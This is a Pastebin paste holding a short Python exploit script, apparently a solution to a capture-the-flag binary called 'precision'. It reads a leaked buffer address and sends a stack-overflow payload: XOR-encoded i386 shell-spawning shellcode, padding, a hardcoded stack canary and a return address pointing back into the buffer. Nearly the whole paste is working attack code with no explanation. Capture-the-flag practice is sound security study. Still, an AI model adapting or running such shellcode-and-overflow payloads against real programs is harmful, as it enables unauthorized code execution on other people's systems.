Advertisement
Guest User

Untitled

a guest
Oct 4th, 2015
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.36 KB | None | 0 0
  1. from roputils import *
  2.  
  3. p = Proc("./precision")
  4. rop = ROP("./precision")
  5. p.read_until(":")
  6. addr_buf = int(p.readline(), 16)
  7.  
  8. sc = Shellcode("i386")
  9. payload = sc.xor(sc.exec_shell())
  10. payload += rop.fill(128, payload)
  11. payload += "\xa5\x31\x5a\x47\x55\x15\x50\x40" # canary
  12. payload += "AAAAAAAAAAAA"
  13. payload += p32(addr_buf)
  14.  
  15. p.writeline(payload)
  16. p.readline()
  17. p.wait(2)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement